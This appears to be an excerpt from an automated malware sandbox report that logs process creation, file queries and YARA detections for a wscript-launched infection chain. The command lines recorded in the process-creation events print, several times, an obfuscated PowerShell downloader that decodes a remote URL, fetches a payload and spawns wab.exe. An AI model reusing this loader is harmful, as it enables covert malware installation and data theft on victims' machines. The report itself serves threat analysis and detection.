pseudorcoaxerskaichmopfwhitewauaruncuslensrettsdiakonh2hairlac=desmotr$auxiliuedialysen eksamevlytterf:hannibawfiskeriiunitesandenatiod speedoi gauleirfireren ') ;. ($odonto01) (sabbatsaf9 'klodser$bandoliareported piroguj monocauvedtagerloxingsohelvetir ribaldp ukonve=chefgru$septibrdprovostadeputerrgrapholklidebruf konsekunonprohl porculssurfrid2fjerntl+summari$ optimaa fibrisdalertedjeuphoniufanaabsrdermatooskivgatroveranap hypers ') ; . ($odonto01) (sabbatsaf9 'kommand$varmefot rosabeismaafejnairablegsejlgarebondedri overin storhje=madolie whelple( jodenf(lensgregsymbolowadodvurmgateforikreklar baconlewetnograi siphonnunarmsa3supines2paamnst_stichomp tapprirsavagenouncivilcsandblseskoldnissrgeligssekundv byplay-archangfudtnkni cunctapsuperavrfljtetsodenormacgigatonetyrestasviperousformosai institdoutrovi= compli$interim{differep engageicismarid rekomm}lappemi)tekstfo.skattepcemprostofrmandom murlycm skriveahaviournafstnindunstriklkobbersiunrigorndodecapeministe) koloni poster-fagtersssipiditp beskrel misforiannammet abunda upassel[feberenc imitathnonsaneaelathavrsociali] concil3 paroar4 nonulc '); & ($odonto01) (sabbatsaf9 'crickep$skrubtuncounterinaturalglinealehgatheretmanaismssalsaenhlappeskikeyways bristle=papyrop ndbrem$fiksxirt lateroiindflydnridgetrgudvindie tredjeiinveste[piskeri$ aftrdetgarfunkimultirandendropgaksetsbeskrivemivardens. skabnicchemurgorecipieueksportnsouthertoktaede-bumbler2zimentw]udsnits '); & ($odonto01)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "function sabbatsaf9 ([string]$conver){$hemi = 8;for($chaperone=7; $chaperone -lt $conver.length-1; $chaperone+=$hemi){$odonto=$odonto+$conver.substring($chaperone, 1)};$odonto;}$forflygtig=sabbatsaf9 'moskeerh radiattintensitplatybap proinssaweless:aurotel/ unword/unspicidgennemlrlitigabi druknevbrnepsye lseret.fritstigspeakniofrgemanounmeticgtrelemeltelemeteantleri.incomplcacritajovinkelrmecumeni/ambytoouanthrapckomplek?silkenweuncondoxsimplicpknasteroflertydrkalendetfertili=cleektidgeneralomillosvwfleretanectoderl skjoldodementiacellevgdhyperne&diskotei compledbethank=smrsrim1tennissq begohmutilfredjskefuldxestimab0pengeafwbutnakk0 agerkazcarpomeisalamanmsardachwmiskendrmunksbiabedraget recivicetheris2chekhovlnagginglaabningxsipesrrrestivat5 europessketchircalcarifpersoniv casinoukatedra6 bicarbyladybirtskrlevndjuanitadsvrtlsthfellato ';$odonto01=sabbatsaf9 ' privatithiofure subvarx lsnagi ';$adjurorp = sabbatsaf9 'incitab\ banders torniryquadruas millimwtaskleso sirupswtanzani6 eftert4microco\vetchyiwlrebogsiuniversnenervatdtrafikuomicrochwbrnehavscardonrpadoptivorasurerw develoefaithfurfinansistousysyhjockeyieariettalamtsliglforeswe\summandvepanaph1viltert.semifos0videobr\viktualpbauhiniomarkerswfiercene onklenrsalgsdaslsreforh studieechagrinl dumpniltapemar.trinskieudviklix udgifteskatteb '; & ($odonto01) (sabbatsaf9 'forvikl$ opponedconcinna pseudorcoaxerskaichmopfwhitewauaruncuslensrettsdiakonh2hairlac=desmotr$auxiliuedialysen eksamevlytterf:hannibawfiskeriiunitesandenatiod speedoi gauleirfireren ') ;. ($odonto01) (sabbatsaf9 'klodser$bandoliareported piroguj monocauvedtagerloxingsohelvetir ribaldp ukonve=chefgru$septibrdprovostadeputerrgrapholklidebruf konsekunonprohl porculssurfrid2fjerntl+summari$ optimaa fibrisdalertedjeuphoniufanaabsrdermatooskivgatroveranap hypers ') ; . ($odonto01) (sabbatsaf9 'kommand$varmefot rosabeismaafejnairablegsejlgarebondedri overin storhje=madolie whelple( jodenf(lensgregsymbolowadodvurmgateforikreklar baconlewetnograi siphonnunarmsa3supines2paamnst_stichomp tapprirsavagenouncivilcsandblseskoldnissrgeligssekundv byplay-archangfudtnkni cunctapsuperavrfljtetsodenormacgigatonetyrestasviperousformosai institdoutrovi= compli$interim{differep engageicismarid rekomm}lappemi)tekstfo.skattepcemprostofrmandom murlycm skriveahaviournafstnindunstriklkobbersiunrigorndodecapeministe) koloni poster-fagtersssipiditp beskrel misforiannammet abunda upassel[feberenc imitathnonsaneaelathavrsociali] concil3 paroar4 nonulc '); & ($odonto01) (sabbatsaf9 'crickep$skrubtuncounterinaturalglinealehgatheretmanaismssalsaenhlappeskikeyways bristle=papyrop ndbrem$fiksxirt lateroiindflydnridgetrgudvindie tredjeiinveste[piskeri$ aftrdetgarfunkimultirandendropgaksetsbeskrivemivardens. skabnicchemurgorecipieueksportnsouthertoktaede-bumbler2zimentw]udsnits '); & ($odonto01)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" "function sabbatsaf9 ([string]$conver){$hemi = 8;for($chaperone=7; $chaperone -lt $conver.length-1; $chaperone+=$hemi){$odonto=$odonto+$conver.substring($chaperone, 1)};$odonto;}$forflygtig=sabbatsaf9 'moskeerh radiattintensitplatybap proinssaweless:aurotel/ unword/unspicidgennemlrlitigabi druknevbrnepsye lseret.fritstigspeakniofrgemanounmeticgtrelemeltelemeteantleri.incomplcacritajovinkelrmecumeni/ambytoouanthrapckomplek?silkenweuncondoxsimplicpknasteroflertydrkalendetfertili=cleektidgeneralomillosvwfleretanectoderl skjoldodementiacellevgdhyperne&diskotei compledbethank=smrsrim1tennissq begohmutilfredjskefuldxestimab0pengeafwbutnakk0 agerkazcarpomeisalamanmsardachwmiskendrmunksbiabedraget recivicetheris2chekhovlnagginglaabningxsipesrrrestivat5 europessketchircalcarifpersoniv casinoukatedra6 bicarbyladybirtskrlevndjuanitadsvrtlsthfellato ';$odonto01=sabbatsaf9 ' privatithiofure subvarx lsnagi ';$adjurorp = sabbatsaf9 'incitab\ banders torniryquadruas millimwtaskleso sirupswtanzani6 eftert4microco\vetchyiwlrebogsiuniversnenervatdtrafikuomicrochwbrnehavscardonrpadoptivorasurerw develoefaithfurfinansistousysyhjockeyieariettalamtsliglforeswe\summandvepanaph1viltert.semifos0videobr\viktualpbauhiniomarkerswfiercene onklenrsalgsdaslsreforh studieechagrinl dumpniltapemar.trinskieudviklix udgifteskatteb '; & ($odonto01) (sabbatsaf9 'forvikl$ opponedconcinna pseudorcoaxerskaichmopfwhitewauaruncuslensrettsdiakonh2hairlac=desmotr$auxiliuedialysen eksamevlytterf:hannibawfiskeriiunitesandenatiod speedoi gauleirfireren ') ;. ($odonto01) (sabbatsaf9 'klodser$bandoliareported piroguj monocauvedtagerloxingsohelvetir ribaldp ukonve=chefgru$septibrdprovostadeputerrgrapholklidebruf konsekunonprohl porculssurfrid2fjerntl+summari$ optimaa fibrisdalertedjeuphoniufanaabsrdermatooskivgatroveranap hypers ') ; . ($odonto01) (sabbatsaf9 'kommand$varmefot rosabeismaafejnairablegsejlgarebondedri overin storhje=madolie whelple( jodenf(lensgregsymbolowadodvurmgateforikreklar baconlewetnograi siphonnunarmsa3supines2paamnst_stichomp tapprirsavagenouncivilcsandblseskoldnissrgeligssekundv byplay-archangfudtnkni cunctapsuperavrfljtetsodenormacgigatonetyrestasviperousformosai institdoutrovi= compli$interim{differep engageicismarid rekomm}lappemi)tekstfo.skattepcemprostofrmandom murlycm skriveahaviournafstnindunstriklkobbersiunrigorndodecapeministe) koloni poster-fagtersssipiditp beskrel misforiannammet abunda upassel[feberenc imitathnonsaneaelathavrsociali] concil3 paroar4 nonulc '); & ($odonto01) (sabbatsaf9 'crickep$skrubtuncounterinaturalglinealehgatheretmanaismssalsaenhlappeskikeyways bristle=papyrop ndbrem$fiksxirt lateroiindflydnridgetrgudvindie tredjeiinveste[piskeri$ aftrdetgarfunkimultirandendropgaksetsbeskrivemivardens. skabnicchemurgorecipieueksportnsouthertoktaede-bumbler2zimentw]udsnits '); & ($odonto01) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "function sabbatsaf9 ([string]$conver){$hemi = 8;for($chaperone=7; $chaperone -lt $conver.length-1; $chaperone+=$hemi){$odonto=$odonto+$conver.substring($chaperone, 1)};$odonto;}$forflygtig=sabbatsaf9 'moskeerh radiattintensitplatybap proinssaweless:aurotel/ unword/unspicidgennemlrlitigabi druknevbrnepsye lseret.fritstigspeakniofrgemanounmeticgtrelemeltelemeteantleri.incomplcacritajovinkelrmecumeni/ambytoouanthrapckomplek?silkenweuncondoxsimplicpknasteroflertydrkalendetfertili=cleektidgeneralomillosvwfleretanectoderl skjoldodementiacellevgdhyperne&diskotei compledbethank=smrsrim1tennissq begohmutilfredjskefuldxestimab0pengeafwbutnakk0 agerkazcarpomeisalamanmsardachwmiskendrmunksbiabedraget recivicetheris2chekhovlnagginglaabningxsipesrrrestivat5 europessketchircalcarifpersoniv casinoukatedra6 bicarbyladybirtskrlevndjuanitadsvrtlsthfellato ';$odonto01=sabbatsaf9 ' privatithiofure subvarx lsnagi ';$adjurorp = sabbatsaf9 'incitab\ banders torniryquadruas millimwtaskleso sirupswtanzani6 eftert4microco\vetchyiwlrebogsiuniversnenervatdtrafikuomicrochwbrnehavscardonrpadoptivorasurerw develoefaithfurfinansistousysyhjockeyieariettalamtsliglforeswe\summandvepanaph1viltert.semifos0videobr\viktualpbauhiniomarkerswfiercene onklenrsalgsdaslsreforh studieechagrinl dumpniltapemar.trinskieudviklix udgifteskatteb '; & ($odonto01) (sabbatsaf9 'forvikl$ opponedconcinna pseudorcoaxerskaichmopfwhitewauaruncuslensrettsdiakonh2hairlac=desmotr$auxiliuedialysen eksamevlytterf:hannibawfiskeriiunitesandenatiod speedoi gauleirfireren ') ;. ($odonto01) (sabbatsaf9 'klodser$bandoliareported piroguj monocauvedtagerloxingsohelvetir ribaldp ukonve=chefgru$septibrdprovostadeputerrgrapholklidebruf konsekunonprohl porculssurfrid2fjerntl+summari$ optimaa fibrisdalertedjeuphoniufanaabsrdermatooskivgatroveranap hypers ') ; . ($odonto01) (sabbatsaf9 'kommand$varmefot rosabeismaafejnairablegsejlgarebondedri overin storhje=madolie whelple( jodenf(lensgregsymbolowadodvurmgateforikreklar baconlewetnograi siphonnunarmsa3supines2paamnst_stichomp tapprirsavagenouncivilcsandblseskoldnissrgeligssekundv byplay-archangfudtnkni cunctapsuperavrfljtetsodenormacgigatonetyrestasviperousformosai institdoutrovi= compli$interim{differep engageicismarid rekomm}lappemi)tekstfo.skattepcemprostofrmandom murlycm skriveahaviournafstnindunstriklkobbersiunrigorndodecapeministe) koloni poster-fagtersssipiditp beskrel misforiannammet abunda upassel[feberenc imitathnonsaneaelathavrsociali] concil3 paroar4 nonulc '); & ($odonto01) (sabbatsaf9 'crickep$skrubtuncounterinaturalglinealehgatheretmanaismssalsaenhlappeskikeyways bristle=papyrop ndbrem$fiksxirt lateroiindflydnridgetrgudvindie tredjeiinveste[piskeri$ aftrdetgarfunkimultirandendropgaksetsbeskrivemivardens. skabnicchemurgorecipieueksportnsouthertoktaede-bumbler2zimentw]udsnits '); & ($odonto01) Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Sabbatsaf9 ([String]$conver){$Hemi = 8;For($Chaperone=7; $Chaperone -lt $conver.Length-1; $Chaperone+=$Hemi){$Odonto=$Odonto+$conver.Substring($Chaperone, 1)};$Odonto;}$Forflygtig=Sabbatsaf9 'Moskeerh RadiattIntensitplatybap ProinssAweless:aurotel/ Unword/UnspicidGennemlrlitigabi DruknevBrnepsye Lseret.FritstigSpeaknioFrgemanounmeticgTrelemelTelemeteAntleri.IncomplcacritajoVinkelrmEcumeni/AmbytoouAnthrapcKomplek?SilkenweUncondoxSimplicpKnasteroFlertydrKalendetFertili=CleektidGeneraloMillosvwFleretanEctoderl SkjoldoDementiaCellevgdHyperne&Diskotei CompledBethank=Smrsrim1TennissQ BegohmuTilfredjSkefuldxEstimab0PengeafwButnakk0 AgerkaZCarpomeISalamanMsardachwMiskendrmunksbiaBedraget RecivicEtheris2ChekhovlNaggingLAabningxSipesrrrEstivat5 EuropeSSketchirCalcarifPersoniV CasinouKatedra6 BicarbyLadybirTSkrlevndJuanitaDSvrtlstHFellato ';$Odonto01=Sabbatsaf9 ' PrivatiThiofure Subvarx Lsnagi ';$Adjurorp = Sabbatsaf9 'Incitab\ Banders TorniryQuadruas MillimwTaskleso SirupswTanzani6 eftert4Microco\VetchyiWlrebogsiUniversnEnervatdTrafikuoMicrochwbrnehavsCardonrPAdoptivoRasurerw DeveloefaithfurFinansiSTousysyhJockeyieAriettalAmtsliglForeswe\SummandvEpanaph1Viltert.Semifos0videobr\ViktualpBauhinioMarkerswfiercene OnklenrSalgsdasLsreforh StudieeChagrinl DumpnilTapemar.TrinskieUdviklix UdgifteSkatteb '; & ($Odonto01) (Sabbatsaf9 'Forvikl$ OpponedConcinna PseudorCoaxerskAichmopfWhitewauAruncuslEnsrettsDiakonh2Hairlac=Desmotr$AuxiliueDialysen EksamevLytterf:hannibawFiskeriiUnitesanDenatiod Speedoi GauleirFireren ') ;. ($Odonto01) (Sabbatsaf9 'Klodser$BandoliAReported Piroguj MonocauVedtagerLoxingsoHelvetir ribaldp ukonve=Chefgru$SeptibrdProvostaDeputerrGrapholkLidebruf KonsekuNonprohl PorculsSurfrid2Fjerntl+Summari$ OptimaA FibrisdAlertedjEuphoniuFanaabsrDermatooSkivgatroveranap Hypers ') ; . ($Odonto01) (Sabbatsaf9 'Kommand$VarmefoT RosabeiSmaafejnAirablegSejlgarebondedri overin Storhje=Madolie Whelple( Jodenf(LensgregSymbolowAdodvurmGateforiKreklar BaconlewEtnograi SiphonnUnarmsa3Supines2Paamnst_Stichomp TapprirSavagenoUncivilcSandblseskoldnisSrgeligsSekundv byplay-ArchangFUdtnkni CunctaPSuperavrFljtetsoDenormacGigatoneTyrestasViperousformosaI InstitdOutrovi= Compli$Interim{DiffereP EngageIcismariD Rekomm}Lappemi)Tekstfo.SkattepCemprostoFrmandom murlycm SkriveaHaviournAfstnindunstrikLKobbersiunrigornDodecapeMiniste) Koloni Poster-fagterssSipiditp Beskrel MisforiAnnammet abunda Upassel[Feberenc ImitathNonsaneaelathavrSociali] Concil3 Paroar4 Nonulc '); & ($Odonto01) (Sabbatsaf9 'Crickep$SkrubtunCounteriNaturalgLinealehGatheretManaismsSalsaenhLappeskiKeyways Bristle=Papyrop Ndbrem$FiksxirT LateroiIndflydnridgetrgUdvindie TredjeiInveste[Piskeri$ AftrdeTGarfunkiMultiranDendropgAksetsbeskrivemiVardens. SkabnicChemurgoRecipieuEksportnsouthertOktaede-Bumbler2Zimentw]Udsnits '); & ($Odonto01) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Sabbatsaf9 ([String]$conver){$Hemi = 8;For($Chaperone=7; $Chaperone -lt $conver.Length-1; $Chaperone+=$Hemi){$Odonto=$Odonto+$conver.Substring($Chaperone, 1)};$Odonto;}$Forflygtig=Sabbatsaf9 'Moskeerh RadiattIntensitplatybap ProinssAweless:aurotel/ Unword/UnspicidGennemlrlitigabi DruknevBrnepsye Lseret.FritstigSpeaknioFrgemanounmeticgTrelemelTelemeteAntleri.IncomplcacritajoVinkelrmEcumeni/AmbytoouAnthrapcKomplek?SilkenweUncondoxSimplicpKnasteroFlertydrKalendetFertili=CleektidGeneraloMillosvwFleretanEctoderl SkjoldoDementiaCellevgdHyperne&Diskotei CompledBethank=Smrsrim1TennissQ BegohmuTilfredjSkefuldxEstimab0PengeafwButnakk0 AgerkaZCarpomeISalamanMsardachwMiskendrmunksbiaBedraget RecivicEtheris2ChekhovlNaggingLAabningxSipesrrrEstivat5 EuropeSSketchirCalcarifPersoniV CasinouKatedra6 BicarbyLadybirTSkrlevndJuanitaDSvrtlstHFellato ';$Odonto01=Sabbatsaf9 ' PrivatiThiofure Subvarx Lsnagi ';$Adjurorp = Sabbatsaf9 'Incitab\ Banders TorniryQuadruas MillimwTaskleso SirupswTanzani6 eftert4Microco\VetchyiWlrebogsiUniversnEnervatdTrafikuoMicrochwbrnehavsCardonrPAdoptivoRasurerw DeveloefaithfurFinansiSTousysyhJockeyieAriettalAmtsliglForeswe\SummandvEpanaph1Viltert.Semifos0videobr\ViktualpBauhinioMarkerswfiercene OnklenrSalgsdasLsreforh StudieeChagrinl DumpnilTapemar.TrinskieUdviklix UdgifteSkatteb '; & ($Odonto01) (Sabbatsaf9 'Forvikl$ OpponedConcinna PseudorCoaxerskAichmopfWhitewauAruncuslEnsrettsDiakonh2Hairlac=Desmotr$AuxiliueDialysen EksamevLytterf:hannibawFiskeriiUnitesanDenatiod Speedoi GauleirFireren ') ;. ($Odonto01) (Sabbatsaf9 'Klodser$BandoliAReported Piroguj MonocauVedtagerLoxingsoHelvetir ribaldp ukonve=Chefgru$SeptibrdProvostaDeputerrGrapholkLidebruf KonsekuNonprohl PorculsSurfrid2Fjerntl+Summari$ OptimaA FibrisdAlertedjEuphoniuFanaabsrDermatooSkivgatroveranap Hypers ') ; . ($Odonto01) (Sabbatsaf9 'Kommand$VarmefoT RosabeiSmaafejnAirablegSejlgarebondedri overin Storhje=Madolie Whelple( Jodenf(LensgregSymbolowAdodvurmGateforiKreklar BaconlewEtnograi SiphonnUnarmsa3Supines2Paamnst_Stichomp TapprirSavagenoUncivilcSandblseskoldnisSrgeligsSekundv byplay-ArchangFUdtnkni CunctaPSuperavrFljtetsoDenormacGigatoneTyrestasViperousformosaI InstitdOutrovi= Compli$Interim{DiffereP EngageIcismariD Rekomm}Lappemi)Tekstfo.SkattepCemprostoFrmandom murlycm SkriveaHaviournAfstnindunstrikLKobbersiunrigornDodecapeMiniste) Koloni Poster-fagterssSipiditp Beskrel MisforiAnnammet abunda Upassel[Feberenc ImitathNonsaneaelathavrSociali] Concil3 Paroar4 Nonulc '); & ($Odonto01) (Sabbatsaf9 'Crickep$SkrubtunCounteriNaturalgLinealehGatheretManaismsSalsaenhLappeskiKeyways Bristle=Papyrop Ndbrem$FiksxirT LateroiIndflydnridgetrgUdvindie TredjeiInveste[Piskeri$ AftrdeTGarfunkiMultiranDendropgAksetsbeskrivemiVardens. SkabnicChemurgoRecipieuEksportnsouthertOktaede-Bumbler2Zimentw]Udsnits '); & ($Odonto01) Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information

barindex
Source: Yara match File source: 00000008.00000002.2678509870.0000000007861000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

barindex
Source: Yara match File source: 00000008.00000002.2678509870.0000000007861000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs